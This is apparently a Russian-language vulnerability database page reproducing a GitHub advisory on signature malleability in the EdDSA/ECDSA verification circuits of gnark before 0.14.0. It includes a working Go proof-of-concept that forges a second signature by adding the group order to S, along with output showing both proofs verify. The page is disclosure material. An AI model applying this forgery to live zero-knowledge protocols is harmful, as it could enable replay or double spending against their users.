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GHSA-95v9-hv42-pwrj

Опубликовано: 22 авг. 2025
Источник: github
Github: Прошло ревью
CVSS4: 8.6
CVSS3: 9.1

Описание

gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks

In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.

Impact

Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.

Exploitation

package main import ( "crypto/rand" "fmt" "math/big" "github.com/consensys/gnark-crypto/ecc" mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc" eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa" "github.com/consensys/gnark/backend/groth16" "github.com/consensys/gnark/frontend" "github.com/consensys/gnark/frontend/cs/r1cs" "github.com/consensys/gnark/std/algebra/native/twistededwards" stdMimc "github.com/consensys/gnark/std/hash/mimc" stdEddsa "github.com/consensys/gnark/std/signature/eddsa" te "github.com/consensys/gnark-crypto/ecc/twistededwards" ) // Circuit type eddsaCircuit struct { Msg frontend.Variable `gnark:",public"` Pk stdEddsa.PublicKey `gnark:",public"` Sig stdEddsa.Signature } func (c *eddsaCircuit) Define(api frontend.API) error { curve, _ := twistededwards.NewEdCurve(api, te.BN254) hasher, _ := stdMimc.NewMiMC(api) stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher) return nil } func groupOrder() *big.Int { // BN254 scalar field order (r) const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617" n, _ := new(big.Int).SetString(rStr, 10) return n } // Forge signature: S → S + order func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature { order := groupOrder() var forged eddsaCrypto.Signature forged.R = sig.R s := new(big.Int).SetBytes(sig.S[:]) s.Add(s, order) buf := make([]byte, 32) copy(buf[32-len(s.Bytes()):], s.Bytes()) copy(forged.S[:], buf) return forged } func main() { // Generate key pair priv, _ := eddsaCrypto.GenerateKey(rand.Reader) pub := priv.PublicKey msg := []byte("multi-witness") // Create honest signature h := mimcHash.NewMiMC() h.Write(msg) rawSig, _ := priv.Sign(msg, h) var honest eddsaCrypto.Signature honest.SetBytes(rawSig) forged := forge(honest) // S + order // Setup: Compile circuit and do trusted setup circuit := &eddsaCircuit{} ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit) if err != nil { fmt.Printf("Circuit compilation failed: %v\n", err) return } pk, vk, err := groth16.Setup(ccs) if err != nil { fmt.Printf("Trusted setup failed: %v\n", err) return } // Public inputs (same for both witnesses) var public eddsaCircuit public.Msg = new(big.Int).SetBytes(msg) public.Pk.Assign(te.BN254, pub.Bytes()) // witness 1: honest signature w1 := public w1.Sig.Assign(te.BN254, honest.Bytes()) witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness1: %v\n", err) return } proof1, err := groth16.Prove(ccs, pk, witness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { publicWitness1, err := witness1.Public() if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { err = groth16.Verify(proof1, vk, publicWitness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { fmt.Println("Witness 1 (honest): Prover succeeded!") } } } // witness 2: forged signature w2 := public w2.Sig.Assign(te.BN254, forged.Bytes()) fmt.Println(honest.R.Equal(&forged.R)) fmt.Println(honest.S != forged.S) witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness2: %v\n", err) return } proof2, err := groth16.Prove(ccs, pk, witness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { publicWitness2, err := witness2.Public() if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { err = groth16.Verify(proof2, vk, publicWitness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { fmt.Println("Witness 2 (forged): Prover succeeded!") } } } }

Result

go run multiple_witnesses.go 13:47:33 INF compiling circuit 13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3 13:47:33 INF building constraint builder nbConstraints=7003 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583 Witness 1 (honest): Prover succeeded! true true 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833 Witness 2 (forged): Prover succeeded!

Credits

XlabAI Team of Tencent Xuanwu Lab

Atuin Automated Vulnerability Discovery Engine

SJTU Group of Software Security In Progress

Prof. Yu Yu's Lab at SJTU

Пакеты

Наименование

github.com/consensys/gnark

go
Затронутые версииВерсия исправления

< 0.14.0

0.14.0

EPSS

Процентиль: 9%
0.00033
Низкий

8.6 High

CVSS4

9.1 Critical

CVSS3

Дефекты

CWE-347

Связанные уязвимости

CVSS3: 9.1
nvd
6 месяцев назад

gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.

EPSS

Процентиль: 9%
0.00033
Низкий

8.6 High

CVSS4

9.1 Critical

CVSS3

Дефекты

CWE-347